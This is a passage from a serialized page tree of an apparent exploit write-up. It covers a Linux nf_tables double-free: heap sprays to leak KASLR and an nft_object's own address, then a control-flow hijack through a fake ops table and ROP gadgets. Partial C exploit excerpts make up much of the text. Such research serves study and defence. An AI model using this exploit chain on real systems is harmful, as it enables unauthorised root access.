",{"type":19,"tag":168,"props":52472,"children":52473},{"style":399},[52474],{"type":24,"value":505},{"type":19,"tag":168,"props":52476,"children":52477},{"style":212},[52478],{"type":24,"value":52187},{"type":19,"tag":168,"props":52480,"children":52481},{"class":170,"line":21108},[52482,52487,52491,52495,52499,52503],{"type":19,"tag":168,"props":52483,"children":52484},{"style":175},[52485],{"type":24,"value":52486}," nftnl_set_elem_add",{"type":19,"tag":168,"props":52488,"children":52489},{"style":212},[52490],{"type":24,"value":52229},{"type":19,"tag":168,"props":52492,"children":52493},{"style":393},[52494],{"type":24,"value":49547},{"type":19,"tag":168,"props":52496,"children":52497},{"style":212},[52498],{"type":24,"value":1152},{"type":19,"tag":168,"props":52500,"children":52501},{"style":192},[52502],{"type":24,"value":14745},{"type":19,"tag":168,"props":52504,"children":52505},{"style":212},[52506],{"type":24,"value":1171},{"type":19,"tag":168,"props":52508,"children":52509},{"class":170,"line":21116},[52510],{"type":19,"tag":168,"props":52511,"children":52512},{"style":212},[52513],{"type":24,"value":7761},{"type":19,"tag":168,"props":52515,"children":52516},{"class":170,"line":21125},[52517],{"type":19,"tag":168,"props":52518,"children":52519},{"emptyLinePlaceholder":14},[52520],{"type":24,"value":1093},{"type":19,"tag":168,"props":52522,"children":52523},{"class":170,"line":21201},[52524],{"type":19,"tag":168,"props":52525,"children":52526},{"style":212},[52527],{"type":24,"value":52528}," // double-free commited elems\n",{"type":19,"tag":168,"props":52530,"children":52531},{"class":170,"line":21234},[52532],{"type":19,"tag":168,"props":52533,"children":52534},{"style":212},[52535],{"type":24,"value":7761},{"type":19,"tag":168,"props":52537,"children":52538},{"class":170,"line":21242},[52539,52544,52548],{"type":19,"tag":168,"props":52540,"children":52541},{"style":212},[52542],{"type":24,"value":52543}," nftnl_set_free(",{"type":19,"tag":168,"props":52545,"children":52546},{"style":825},[52547],{"type":24,"value":48502},{"type":19,"tag":168,"props":52549,"children":52550},{"style":212},[52551],{"type":24,"value":1249},{"type":19,"tag":168,"props":52553,"children":52554},{"class":170,"line":21250},[52555],{"type":19,"tag":168,"props":52556,"children":52557},{"style":212},[52558],{"type":24,"value":1326},{"type":19,"tag":168,"props":52560,"children":52561},{"class":170,"line":21287},[52562],{"type":19,"tag":168,"props":52563,"children":52564},{"style":212},[52565],{"type":24,"value":7761},{"type":19,"tag":7050,"props":52567,"children":52569},{"id":52568},"leaking-kaslr",[52570],{"type":24,"value":52571},"Leaking KASLR",{"type":19,"tag":20,"props":52573,"children":52574},{},[52575,52577,52583,52585,52590,52592,52598,52600,52606,52608],{"type":24,"value":52576},"Tables contain an outline user data buffer ",{"type":19,"tag":27,"props":52578,"children":52580},{"className":52579},[],[52581],{"type":24,"value":52582},"udata",{"type":24,"value":52584}," that we can both read and write. By allocating a ",{"type":19,"tag":27,"props":52586,"children":52588},{"className":52587},[],[52589],{"type":24,"value":52582},{"type":24,"value":52591}," buffer on the double-free slot and then overlapping it with an ",{"type":19,"tag":27,"props":52593,"children":52595},{"className":52594},[],[52596],{"type":24,"value":52597},"nft_object",{"type":24,"value":52599}," we can leak the ",{"type":19,"tag":27,"props":52601,"children":52603},{"className":52602},[],[52604],{"type":24,"value":52605},"->ops",{"type":24,"value":52607}," pointer, and use it to calculate the KASLR slide.\n",{"type":19,"tag":1344,"props":52609,"children":52611},{"alt":48061,"src":52610},"/posts/netfilter-universal-root-1-day/kaslr.png",[],{"type":19,"tag":158,"props":52613,"children":52615},{"className":26580,"code":52614,"language":26582,"meta":7,"style":7},"[...]\n // spray 3 udata buffers to consume elems A, B and A again\n udata_spray(nl, 0xe8, 0, 3, NULL);\n\n // check if overlap happened (i.e if we have to overlapping udata buffers)\n char spray_name[16];\n char *udata[3];\n for (int i = 0; i \u003C 3; i++)\n {\n snprintf(spray_name, sizeof(spray_name), \"spray-%i\", i);\n udata[i] = getudata(nl, spray_name);\n }\n if (udata[0][0] == udata[2][0])\n {\n puts(\"[+] got duplicated table\");\n }\n\n // Replace one of the udata buffers with nft_object\n // and read it's counterpart to leak the nft_object struct\n puts(\"[*] Info leak\");\n deludata_spray(nl, 0, 1);\n wait_destroyer();\n obj_spray(nl, 0, 1, NULL, 0);\n uint64_t *fake_obj = (uint64_t *)getudata(nl, \"spray-2\");\n[...]\n",[52616],{"type":19,"tag":27,"props":52617,"children":52618},{"__ignoreMap":7},[52619,52626,52634,52669,52676,52684,52709,52736,52787,52794,52827,52853,52860,52925,52932,52953,52960,52967,52975,52983,53004,53033,53045,53089,53145],{"type":19,"tag":168,"props":52620,"children":52621},{"class":170,"line":171},[52622],{"type":19,"tag":168,"props":52623,"children":52624},{"style":212},[52625],{"type":24,"value":7761},{"type":19,"tag":168,"props":52627,"children":52628},{"class":170,"line":198},[52629],{"type":19,"tag":168,"props":52630,"children":52631},{"style":212},[52632],{"type":24,"value":52633}," // spray 3 udata buffers to consume elems A, B and A again\n",{"type":19,"tag":168,"props":52635,"children":52636},{"class":170,"line":415},[52637,52642,52646,52651,52656,52661,52665],{"type":19,"tag":168,"props":52638,"children":52639},{"style":212},[52640],{"type":24,"value":52641}," udata_spray(",{"type":19,"tag":168,"props":52643,"children":52644},{"style":825},[52645],{"type":24,"value":51773},{"type":19,"tag":168,"props":52647,"children":52648},{"style":212},[52649],{"type":24,"value":52650},", 0",{"type":19,"tag":168,"props":52652,"children":52653},{"style":825},[52654],{"type":24,"value":52655},"xe8",{"type":19,"tag":168,"props":52657,"children":52658},{"style":212},[52659],{"type":24,"value":52660},", 0, 3, ",{"type":19,"tag":168,"props":52662,"children":52663},{"style":825},[52664],{"type":24,"value":51979},{"type":19,"tag":168,"props":52666,"children":52667},{"style":212},[52668],{"type":24,"value":1249},{"type":19,"tag":168,"props":52670,"children":52671},{"class":170,"line":450},[52672],{"type":19,"tag":168,"props":52673,"children":52674},{"emptyLinePlaceholder":14},[52675],{"type":24,"value":1093},{"type":19,"tag":168,"props":52677,"children":52678},{"class":170,"line":560},[52679],{"type":19,"tag":168,"props":52680,"children":52681},{"style":373},[52682],{"type":24,"value":52683}," // check if overlap happened (i.e if we have to overlapping udata buffers)\n",{"type":19,"tag":168,"props":52685,"children":52686},{"class":170,"line":666},[52687,52692,52697,52701,52705],{"type":19,"tag":168,"props":52688,"children":52689},{"style":382},[52690],{"type":24,"value":52691}," char",{"type":19,"tag":168,"props":52693,"children":52694},{"style":393},[52695],{"type":24,"value":52696}," spray_name",{"type":19,"tag":168,"props":52698,"children":52699},{"style":212},[52700],{"type":24,"value":1152},{"type":19,"tag":168,"props":52702,"children":52703},{"style":192},[52704],{"type":24,"value":38323},{"type":19,"tag":168,"props":52706,"children":52707},{"style":212},[52708],{"type":24,"value":29046},{"type":19,"tag":168,"props":52710,"children":52711},{"class":170,"line":694},[52712,52716,52720,52724,52728,52732],{"type":19,"tag":168,"props":52713,"children":52714},{"style":382},[52715],{"type":24,"value":52691},{"type":19,"tag":168,"props":52717,"children":52718},{"style":399},[52719],{"type":24,"value":7259},{"type":19,"tag":168,"props":52721,"children":52722},{"style":393},[52723],{"type":24,"value":52582},{"type":19,"tag":168,"props":52725,"children":52726},{"style":212},[52727],{"type":24,"value":1152},{"type":19,"tag":168,"props":52729,"children":52730},{"style":192},[52731],{"type":24,"value":14745},{"type":19,"tag":168,"props":52733,"children":52734},{"style":212},[52735],{"type":24,"value":29046},{"type":19,"tag":168,"props":52737,"children":52738},{"class":170,"line":707},[52739,52743,52747,52751,52755,52759,52763,52767,52771,52775,52779,52783],{"type":19,"tag":168,"props":52740,"children":52741},{"style":419},[52742],{"type":24,"value":422},{"type":19,"tag":168,"props":52744,"children":52745},{"style":212},[52746],{"type":24,"value":461},{"type":19,"tag":168,"props":52748,"children":52749},{"style":382},[52750],{"type":24,"value":16500},{"type":19,"tag":168,"props":52752,"children":52753},{"style":212},[52754],{"type":24,"value":52027},{"type":19,"tag":168,"props":52756,"children":52757},{"style":399},[52758],{"type":24,"value":486},{"type":19,"tag":168,"props":52760,"children":52761},{"style":192},[52762],{"type":24,"value":437},{"type":19,"tag":168,"props":52764,"children":52765},{"style":212},[52766],{"type":24,"value":48716},{"type":19,"tag":168,"props":52768,"children":52769},{"style":399},[52770],{"type":24,"value":3240},{"type":19,"tag":168,"props":52772,"children":52773},{"style":192},[52774],{"type":24,"value":16552},{"type":19,"tag":168,"props":52776,"children":52777},{"style":212},[52778],{"type":24,"value":48747},{"type":19,"tag":168,"props":52780,"children":52781},{"style":399},[52782],{"type":24,"value":48752},{"type":19,"tag":168,"props":52784,"children":52785},{"style":212},[52786],{"type":24,"value":557},{"type":19,"tag":168,"props":52788,"children":52789},{"class":170,"line":725},[52790],{"type":19,"tag":168,"props":52791,"children":52792},{"style":212},[52793],{"type":24,"value":26657},{"type":19,"tag":168,"props":52795,"children":52796},{"class":170,"line":746},[52797,52802,52807,52812,52817,52822],{"type":19,"tag":168,"props":52798,"children":52799},{"style":175},[52800],{"type":24,"value":52801}," snprintf",{"type":19,"tag":168,"props":52803,"children":52804},{"style":212},[52805],{"type":24,"value":52806},"(spray_name, ",{"type":19,"tag":168,"props":52808,"children":52809},{"style":382},[52810],{"type":24,"value":52811},"sizeof",{"type":19,"tag":168,"props":52813,"children":52814},{"style":212},[52815],{"type":24,"value":52816},"(spray_name), ",{"type":19,"tag":168,"props":52818,"children":52819},{"style":181},[52820],{"type":24,"value":52821},"\"spray-%i\"",{"type":19,"tag":168,"props":52823,"children":52824},{"style":212},[52825],{"type":24,"value":52826},", i);\n",{"type":19,"tag":168,"props":52828,"children":52829},{"class":170,"line":755},[52830,52835,52839,52843,52848],{"type":19,"tag":168,"props":52831,"children":52832},{"style":393},[52833],{"type":24,"value":52834}," udata",{"type":19,"tag":168,"props":52836,"children":52837},{"style":212},[52838],{"type":24,"value":52079},{"type":19,"tag":168,"props":52840,"children":52841},{"style":399},[52842],{"type":24,"value":486},{"type":19,"tag":168,"props":52844,"children":52845},{"style":175},[52846],{"type":24,"value":52847}," getudata",{"type":19,"tag":168,"props":52849,"children":52850},{"style":212},[52851],{"type":24,"value":52852},"(nl, spray_name);\n",{"type":19,"tag":168,"props":52854,"children":52855},{"class":170,"line":1008},[52856],{"type":19,"tag":168,"props":52857,"children":52858},{"style":212},[52859],{"type":24,"value":761},{"type":19,"tag":168,"props":52861,"children":52862},{"class":170,"line":1025},[52863,52867,52871,52875,52879,52883,52887,52891,52895,52899,52904,52908,52912,52916,52920],{"type":19,"tag":168,"props":52864,"children":52865},{"style":419},[52866],{"type":24,"value":9724},{"type":19,"tag":168,"props":52868,"children":52869},{"style":212},[52870],{"type":24,"value":461},{"type":19,"tag":168,"props":52872,"children":52873},{"style":393},[52874],{"type":24,"value":52582},{"type":19,"tag":168,"props":52876,"children":52877},{"style":212},[52878],{"type":24,"value":1152},{"type":19,"tag":168,"props":52880,"children":52881},{"style":192},[52882],{"type":24,"value":1452},{"type":19,"tag":168,"props":52884,"children":52885},{"style":212},[52886],{"type":24,"value":46440},{"type":19,"tag":168,"props":52888,"children":52889},{"style":192},[52890],{"type":24,"value":1452},{"type":19,"tag":168,"props":52892,"children":52893},{"style":212},[52894],{"type":24,"value":6099},{"type":19,"tag":168,"props":52896,"children":52897},{"style":399},[52898],{"type":24,"value":6013},{"type":19,"tag":168,"props":52900,"children":52901},{"style":393},[52902],{"type":24,"value":52903}," udata",{"type":19,"tag":168,"props":52905,"children":52906},{"style":212},[52907],{"type":24,"value":1152},{"type":19,"tag":168,"props":52909,"children":52910},{"style":192},[52911],{"type":24,"value":519},{"type":19,"tag":168,"props":52913,"children":52914},{"style":212},[52915],{"type":24,"value":46440},{"type":19,"tag":168,"props":52917,"children":52918},{"style":192},[52919],{"type":24,"value":1452},{"type":19,"tag":168,"props":52921,"children":52922},{"style":212},[52923],{"type":24,"value":52924},"])\n",{"type":19,"tag":168,"props":52926,"children":52927},{"class":170,"line":1042},[52928],{"type":19,"tag":168,"props":52929,"children":52930},{"style":212},[52931],{"type":24,"value":26657},{"type":19,"tag":168,"props":52933,"children":52934},{"class":170,"line":1055},[52935,52940,52944,52949],{"type":19,"tag":168,"props":52936,"children":52937},{"style":175},[52938],{"type":24,"value":52939}," puts",{"type":19,"tag":168,"props":52941,"children":52942},{"style":212},[52943],{"type":24,"value":500},{"type":19,"tag":168,"props":52945,"children":52946},{"style":181},[52947],{"type":24,"value":52948},"\"[+] got duplicated table\"",{"type":19,"tag":168,"props":52950,"children":52951},{"style":212},[52952],{"type":24,"value":1249},{"type":19,"tag":168,"props":52954,"children":52955},{"class":170,"line":1064},[52956],{"type":19,"tag":168,"props":52957,"children":52958},{"style":212},[52959],{"type":24,"value":761},{"type":19,"tag":168,"props":52961,"children":52962},{"class":170,"line":1087},[52963],{"type":19,"tag":168,"props":52964,"children":52965},{"emptyLinePlaceholder":14},[52966],{"type":24,"value":1093},{"type":19,"tag":168,"props":52968,"children":52969},{"class":170,"line":1096},[52970],{"type":19,"tag":168,"props":52971,"children":52972},{"style":373},[52973],{"type":24,"value":52974}," // Replace one of the udata buffers with nft_object\n",{"type":19,"tag":168,"props":52976,"children":52977},{"class":170,"line":1105},[52978],{"type":19,"tag":168,"props":52979,"children":52980},{"style":373},[52981],{"type":24,"value":52982}," // and read it's counterpart to leak the nft_object struct\n",{"type":19,"tag":168,"props":52984,"children":52985},{"class":170,"line":1174},[52986,52991,52995,53000],{"type":19,"tag":168,"props":52987,"children":52988},{"style":175},[52989],{"type":24,"value":52990}," puts",{"type":19,"tag":168,"props":52992,"children":52993},{"style":212},[52994],{"type":24,"value":500},{"type":19,"tag":168,"props":52996,"children":52997},{"style":181},[52998],{"type":24,"value":52999},"\"[*] Info leak\"",{"type":19,"tag":168,"props":53001,"children":53002},{"style":212},[53003],{"type":24,"value":1249},{"type":19,"tag":168,"props":53005,"children":53006},{"class":170,"line":1182},[53007,53012,53017,53021,53025,53029],{"type":19,"tag":168,"props":53008,"children":53009},{"style":175},[53010],{"type":24,"value":53011}," deludata_spray",{"type":19,"tag":168,"props":53013,"children":53014},{"style":212},[53015],{"type":24,"value":53016},"(nl, ",{"type":19,"tag":168,"props":53018,"children":53019},{"style":192},[53020],{"type":24,"value":1452},{"type":19,"tag":168,"props":53022,"children":53023},{"style":212},[53024],{"type":24,"value":471},{"type":19,"tag":168,"props":53026,"children":53027},{"style":192},[53028],{"type":24,"value":1442},{"type":19,"tag":168,"props":53030,"children":53031},{"style":212},[53032],{"type":24,"value":1249},{"type":19,"tag":168,"props":53034,"children":53035},{"class":170,"line":1212},[53036,53041],{"type":19,"tag":168,"props":53037,"children":53038},{"style":175},[53039],{"type":24,"value":53040}," wait_destroyer",{"type":19,"tag":168,"props":53042,"children":53043},{"style":212},[53044],{"type":24,"value":1084},{"type":19,"tag":168,"props":53046,"children":53047},{"class":170,"line":1220},[53048,53053,53057,53061,53065,53069,53073,53077,53081,53085],{"type":19,"tag":168,"props":53049,"children":53050},{"style":175},[53051],{"type":24,"value":53052}," obj_spray",{"type":19,"tag":168,"props":53054,"children":53055},{"style":212},[53056],{"type":24,"value":53016},{"type":19,"tag":168,"props":53058,"children":53059},{"style":192},[53060],{"type":24,"value":1452},{"type":19,"tag":168,"props":53062,"children":53063},{"style":212},[53064],{"type":24,"value":471},{"type":19,"tag":168,"props":53066,"children":53067},{"style":192},[53068],{"type":24,"value":1442},{"type":19,"tag":168,"props":53070,"children":53071},{"style":212},[53072],{"type":24,"value":471},{"type":19,"tag":168,"props":53074,"children":53075},{"style":382},[53076],{"type":24,"value":51979},{"type":19,"tag":168,"props":53078,"children":53079},{"style":212},[53080],{"type":24,"value":471},{"type":19,"tag":168,"props":53082,"children":53083},{"style":192},[53084],{"type":24,"value":1452},{"type":19,"tag":168,"props":53086,"children":53087},{"style":212},[53088],{"type":24,"value":1249},{"type":19,"tag":168,"props":53090,"children":53091},{"class":170,"line":1252},[53092,53097,53101,53106,53110,53114,53119,53123,53127,53132,53136,53141],{"type":19,"tag":168,"props":53093,"children":53094},{"style":382},[53095],{"type":24,"value":53096}," uint64_t",{"type":19,"tag":168,"props":53098,"children":53099},{"style":399},[53100],{"type":24,"value":7259},{"type":19,"tag":168,"props":53102,"children":53103},{"style":212},[53104],{"type":24,"value":53105},"fake_obj ",{"type":19,"tag":168,"props":53107,"children":53108},{"style":399},[53109],{"type":24,"value":486},{"type":19,"tag":168,"props":53111,"children":53112},{"style":212},[53113],{"type":24,"value":461},{"type":19,"tag":168,"props":53115,"children":53116},{"style":382},[53117],{"type":24,"value":53118},"uint64_t",{"type":19,"tag":168,"props":53120,"children":53121},{"style":399},[53122],{"type":24,"value":7259},{"type":19,"tag":168,"props":53124,"children":53125},{"style":212},[53126],{"type":24,"value":524},{"type":19,"tag":168,"props":53128,"children":53129},{"style":175},[53130],{"type":24,"value":53131},"getudata",{"type":19,"tag":168,"props":53133,"children":53134},{"style":212},[53135],{"type":24,"value":53016},{"type":19,"tag":168,"props":53137,"children":53138},{"style":181},[53139],{"type":24,"value":53140},"\"spray-2\"",{"type":19,"tag":168,"props":53142,"children":53143},{"style":212},[53144],{"type":24,"value":1249},{"type":19,"tag":168,"props":53146,"children":53147},{"class":170,"line":1260},[53148],{"type":19,"tag":168,"props":53149,"children":53150},{"style":212},[53151],{"type":24,"value":7761},{"type":19,"tag":7050,"props":53153,"children":53155},{"id":53154},"leaking-self-pointer-of-nft_object",[53156,53158],{"type":24,"value":53157},"Leaking self pointer of ",{"type":19,"tag":27,"props":53159,"children":53161},{"className":53160},[],[53162],{"type":24,"value":52597},{"type":19,"tag":20,"props":53164,"children":53165},{},[53166,53168,53173,53175,53180,53182,53187,53189,53195],{"type":24,"value":53167},"As I'll discuss in more depth in the ROP section, the exploit relies on a known address of controllable memory to work. I decided to use the ",{"type":19,"tag":27,"props":53169,"children":53171},{"className":53170},[],[53172],{"type":24,"value":52597},{"type":24,"value":53174}," to get its own address. This is possible because the ",{"type":19,"tag":27,"props":53176,"children":53178},{"className":53177},[],[53179],{"type":24,"value":52597},{"type":24,"value":53181}," has a ",{"type":19,"tag":27,"props":53183,"children":53185},{"className":53184},[],[53186],{"type":24,"value":52582},{"type":24,"value":53188}," pointer (similar to ",{"type":19,"tag":27,"props":53190,"children":53192},{"className":53191},[],[53193],{"type":24,"value":53194},"table->udata",{"type":24,"value":53196}," that I used for leaking KASLR), that I can use to read/write data.",{"type":19,"tag":20,"props":53198,"children":53199},{},[53200,53201,53206,53208,53214,53216,53221,53223,53229,53231,53237,53239,53244,53246,53251,53253,53258,53260],{"type":24,"value":14062},{"type":19,"tag":27,"props":53202,"children":53204},{"className":53203},[],[53205],{"type":24,"value":52597},{"type":24,"value":53207}," struct also contains a ",{"type":19,"tag":27,"props":53209,"children":53211},{"className":53210},[],[53212],{"type":24,"value":53213},"list_head",{"type":24,"value":53215}," inserted in a circular list containing all ",{"type":19,"tag":27,"props":53217,"children":53219},{"className":53218},[],[53220],{"type":24,"value":52597},{"type":24,"value":53222},"'s that belong to a given ",{"type":19,"tag":27,"props":53224,"children":53226},{"className":53225},[],[53227],{"type":24,"value":53228},"table",{"type":24,"value":53230},". Considering that our object is currently alone in its table, the ",{"type":19,"tag":27,"props":53232,"children":53234},{"className":53233},[],[53235],{"type":24,"value":53236},"table->list.next",{"type":24,"value":53238}," pointer in the ",{"type":19,"tag":27,"props":53240,"children":53242},{"className":53241},[],[53243],{"type":24,"value":52597},{"type":24,"value":53245}," will point back to the ",{"type":19,"tag":27,"props":53247,"children":53249},{"className":53248},[],[53250],{"type":24,"value":53213},{"type":24,"value":53252}," contained in the ",{"type":19,"tag":27,"props":53254,"children":53256},{"className":53255},[],[53257],{"type":24,"value":53228},{"type":24,"value":53259}," and vice-versa.\n",{"type":19,"tag":1344,"props":53261,"children":53263},{"alt":48061,"src":53262},"/posts/netfilter-universal-root-1-day/nft-object.png",[],{"type":19,"tag":20,"props":53265,"children":53266},{},[53267,53269,53274,53276,53281,53283,53289,53291,53296,53297,53302,53304,53309,53311,53316],{"type":24,"value":53268},"In short, that means that if we swap the ",{"type":19,"tag":27,"props":53270,"children":53272},{"className":53271},[],[53273],{"type":24,"value":52582},{"type":24,"value":53275}," pointer of the ",{"type":19,"tag":27,"props":53277,"children":53279},{"className":53278},[],[53280],{"type":24,"value":52597},{"type":24,"value":53282}," with its own ",{"type":19,"tag":27,"props":53284,"children":53286},{"className":53285},[],[53287],{"type":24,"value":53288},"list.next",{"type":24,"value":53290}," pointer we should be able to read a pointer back to the ",{"type":19,"tag":27,"props":53292,"children":53294},{"className":53293},[],[53295],{"type":24,"value":52597},{"type":24,"value":49822},{"type":19,"tag":27,"props":53298,"children":53300},{"className":53299},[],[53301],{"type":24,"value":53213},{"type":24,"value":53303}," which is also the start of the ",{"type":19,"tag":27,"props":53305,"children":53307},{"className":53306},[],[53308],{"type":24,"value":52597},{"type":24,"value":53310}," itself.\n",{"type":19,"tag":51,"props":53312,"children":53313},{},[53314],{"type":24,"value":53315},"NOTE:",{"type":24,"value":53317}," This is a novel small trick.",{"type":19,"tag":158,"props":53319,"children":53321},{"className":26580,"code":53320,"language":26582,"meta":7,"style":7},"[...]\n // Leak nft_object ptr using table linked list\n fake_obj[8] = 8; // ulen = 8\n fake_obj[9] = fake_obj[0]; // udata = list->next\n deludata_spray(nl, 2, 1);\n wait_destroyer();\n udata_spray(nl, 0xe8, 3, 1, fake_obj);\n\n get_obj(nl, \"spray-0\", true);\n printf(\"[*] nft_object ptr: 0x%lx\\n\", obj_ptr);\n[...]\n",[53322],{"type":19,"tag":27,"props":53323,"children":53324},{"__ignoreMap":7},[53325,53332,53340,53353,53401,53428,53439,53477,53484,53513,53543],{"type":19,"tag":168,"props":53326,"children":53327},{"class":170,"line":171},[53328],{"type":19,"tag":168,"props":53329,"children":53330},{"style":212},[53331],{"type":24,"value":7761},{"type":19,"tag":168,"props":53333,"children":53334},{"class":170,"line":198},[53335],{"type":19,"tag":168,"props":53336,"children":53337},{"style":212},[53338],{"type":24,"value":53339}," // Leak nft_object ptr using table linked list\n",{"type":19,"tag":168,"props":53341,"children":53342},{"class":170,"line":415},[53343,53348],{"type":19,"tag":168,"props":53344,"children":53345},{"style":212},[53346],{"type":24,"value":53347}," fake_obj[8] = 8;",{"type":19,"tag":168,"props":53349,"children":53350},{"style":373},[53351],{"type":24,"value":53352}," // ulen = 8\n",{"type":19,"tag":168,"props":53354,"children":53355},{"class":170,"line":450},[53356,53361,53365,53370,53374,53378,53383,53387,53391,53396],{"type":19,"tag":168,"props":53357,"children":53358},{"style":393},[53359],{"type":24,"value":53360}," fake_obj",{"type":19,"tag":168,"props":53362,"children":53363},{"style":212},[53364],{"type":24,"value":1152},{"type":19,"tag":168,"props":53366,"children":53367},{"style":192},[53368],{"type":24,"value":53369},"9",{"type":19,"tag":168,"props":53371,"children":53372},{"style":212},[53373],{"type":24,"value":6099},{"type":19,"tag":168,"props":53375,"children":53376},{"style":399},[53377],{"type":24,"value":486},{"type":19,"tag":168,"props":53379,"children":53380},{"style":393},[53381],{"type":24,"value":53382}," fake_obj",{"type":19,"tag":168,"props":53384,"children":53385},{"style":212},[53386],{"type":24,"value":1152},{"type":19,"tag":168,"props":53388,"children":53389},{"style":192},[53390],{"type":24,"value":1452},{"type":19,"tag":168,"props":53392,"children":53393},{"style":212},[53394],{"type":24,"value":53395},"];",{"type":19,"tag":168,"props":53397,"children":53398},{"style":373},[53399],{"type":24,"value":53400}," // udata = list->next\n",{"type":19,"tag":168,"props":53402,"children":53403},{"class":170,"line":560},[53404,53408,53412,53416,53420,53424],{"type":19,"tag":168,"props":53405,"children":53406},{"style":175},[53407],{"type":24,"value":53011},{"type":19,"tag":168,"props":53409,"children":53410},{"style":212},[53411],{"type":24,"value":53016},{"type":19,"tag":168,"props":53413,"children":53414},{"style":192},[53415],{"type":24,"value":519},{"type":19,"tag":168,"props":53417,"children":53418},{"style":212},[53419],{"type":24,"value":471},{"type":19,"tag":168,"props":53421,"children":53422},{"style":192},[53423],{"type":24,"value":1442},{"type":19,"tag":168,"props":53425,"children":53426},{"style":212},[53427],{"type":24,"value":1249},{"type":19,"tag":168,"props":53429,"children":53430},{"class":170,"line":666},[53431,53435],{"type":19,"tag":168,"props":53432,"children":53433},{"style":175},[53434],{"type":24,"value":53040},{"type":19,"tag":168,"props":53436,"children":53437},{"style":212},[53438],{"type":24,"value":1084},{"type":19,"tag":168,"props":53440,"children":53441},{"class":170,"line":694},[53442,53447,53451,53456,53460,53464,53468,53472],{"type":19,"tag":168,"props":53443,"children":53444},{"style":175},[53445],{"type":24,"value":53446}," udata_spray",{"type":19,"tag":168,"props":53448,"children":53449},{"style":212},[53450],{"type":24,"value":53016},{"type":19,"tag":168,"props":53452,"children":53453},{"style":192},[53454],{"type":24,"value":53455},"0xe8",{"type":19,"tag":168,"props":53457,"children":53458},{"style":212},[53459],{"type":24,"value":471},{"type":19,"tag":168,"props":53461,"children":53462},{"style":192},[53463],{"type":24,"value":14745},{"type":19,"tag":168,"props":53465,"children":53466},{"style":212},[53467],{"type":24,"value":471},{"type":19,"tag":168,"props":53469,"children":53470},{"style":192},[53471],{"type":24,"value":1442},{"type":19,"tag":168,"props":53473,"children":53474},{"style":212},[53475],{"type":24,"value":53476},", fake_obj);\n",{"type":19,"tag":168,"props":53478,"children":53479},{"class":170,"line":707},[53480],{"type":19,"tag":168,"props":53481,"children":53482},{"emptyLinePlaceholder":14},[53483],{"type":24,"value":1093},{"type":19,"tag":168,"props":53485,"children":53486},{"class":170,"line":725},[53487,53492,53496,53501,53505,53509],{"type":19,"tag":168,"props":53488,"children":53489},{"style":175},[53490],{"type":24,"value":53491}," get_obj",{"type":19,"tag":168,"props":53493,"children":53494},{"style":212},[53495],{"type":24,"value":53016},{"type":19,"tag":168,"props":53497,"children":53498},{"style":181},[53499],{"type":24,"value":53500},"\"spray-0\"",{"type":19,"tag":168,"props":53502,"children":53503},{"style":212},[53504],{"type":24,"value":471},{"type":19,"tag":168,"props":53506,"children":53507},{"style":382},[53508],{"type":24,"value":1423},{"type":19,"tag":168,"props":53510,"children":53511},{"style":212},[53512],{"type":24,"value":1249},{"type":19,"tag":168,"props":53514,"children":53515},{"class":170,"line":746},[53516,53521,53525,53530,53534,53538],{"type":19,"tag":168,"props":53517,"children":53518},{"style":175},[53519],{"type":24,"value":53520}," printf",{"type":19,"tag":168,"props":53522,"children":53523},{"style":212},[53524],{"type":24,"value":500},{"type":19,"tag":168,"props":53526,"children":53527},{"style":181},[53528],{"type":24,"value":53529},"\"[*] nft_object ptr: 0x%lx",{"type":19,"tag":168,"props":53531,"children":53532},{"style":45855},[53533],{"type":24,"value":45858},{"type":19,"tag":168,"props":53535,"children":53536},{"style":181},[53537],{"type":24,"value":17514},{"type":19,"tag":168,"props":53539,"children":53540},{"style":212},[53541],{"type":24,"value":53542},", obj_ptr);\n",{"type":19,"tag":168,"props":53544,"children":53545},{"class":170,"line":755},[53546],{"type":19,"tag":168,"props":53547,"children":53548},{"style":212},[53549],{"type":24,"value":7761},{"type":19,"tag":7050,"props":53551,"children":53553},{"id":53552},"hijacking-control-flow",[53554],{"type":24,"value":53555},"Hijacking control-flow",{"type":19,"tag":20,"props":53557,"children":53558},{},[53559,53561,53566,53568,53573,53575,53580,53582,53587,53589,53594,53596],{"type":24,"value":53560},"To hijack control-flow, we can use ",{"type":19,"tag":27,"props":53562,"children":53564},{"className":53563},[],[53565],{"type":24,"value":52597},{"type":24,"value":53567}," once again. The ",{"type":19,"tag":27,"props":53569,"children":53571},{"className":53570},[],[53572],{"type":24,"value":52597},{"type":24,"value":53574}," struct has an ",{"type":19,"tag":27,"props":53576,"children":53578},{"className":53577},[],[53579],{"type":24,"value":50153},{"type":24,"value":53581}," pointer to a function pointer table. We can swap the ",{"type":19,"tag":27,"props":53583,"children":53585},{"className":53584},[],[53586],{"type":24,"value":50153},{"type":24,"value":53588}," pointer with the ",{"type":19,"tag":27,"props":53590,"children":53592},{"className":53591},[],[53593],{"type":24,"value":52582},{"type":24,"value":53595}," pointer, taking control of the pointer table.\n",{"type":19,"tag":1344,"props":53597,"children":53599},{"alt":48061,"src":53598},"/posts/netfilter-universal-root-1-day/control-flow.png",[],{"type":19,"tag":158,"props":53601,"children":53603},{"className":26580,"code":53602,"language":26582,"meta":7,"style":7},"[...]\n // Fake ops\n uint64_t *rop = calloc(29, sizeof(uint64_t));\n rop[0] = kaslr_slide + 0xffffffff81988647; // push rsi; jmp qword ptr [rsi + 0x39];\n rop[2] = kaslr_slide + NFT_CT_EXPECT_OBJ_TYPE;\n[...]\n // Send ROP in object udata\n del_obj(nl, \"spray-0\");\n wait_destroyer();\n obj_spray(nl, 1, 1, rop, 0xb8);\n fake_obj = (uint64_t *)getudata(nl, \"spray-3\");\n DumpHex(fake_obj, 0xe8);\n uint64_t rop_addr = fake_obj[9]; // udata ptr\n printf(\"[*] ROP addr: 0x%lx\\n\", rop_addr);\n\n // Point to fake ops\n fake_obj[16] = rop_addr - 0x20; // Point ops to fake ptr table\n[...]\n // Write ROP\n puts(\"[*] Write ROP\");\n deludata_spray(nl, 3, 1);\n wait_destroyer();\n udata_spray(nl, 0xe8, 4, 1, fake_obj);\n\n // Takeover RIP\n puts(\"[*] Takeover RIP\");\n dump_obj(nl, 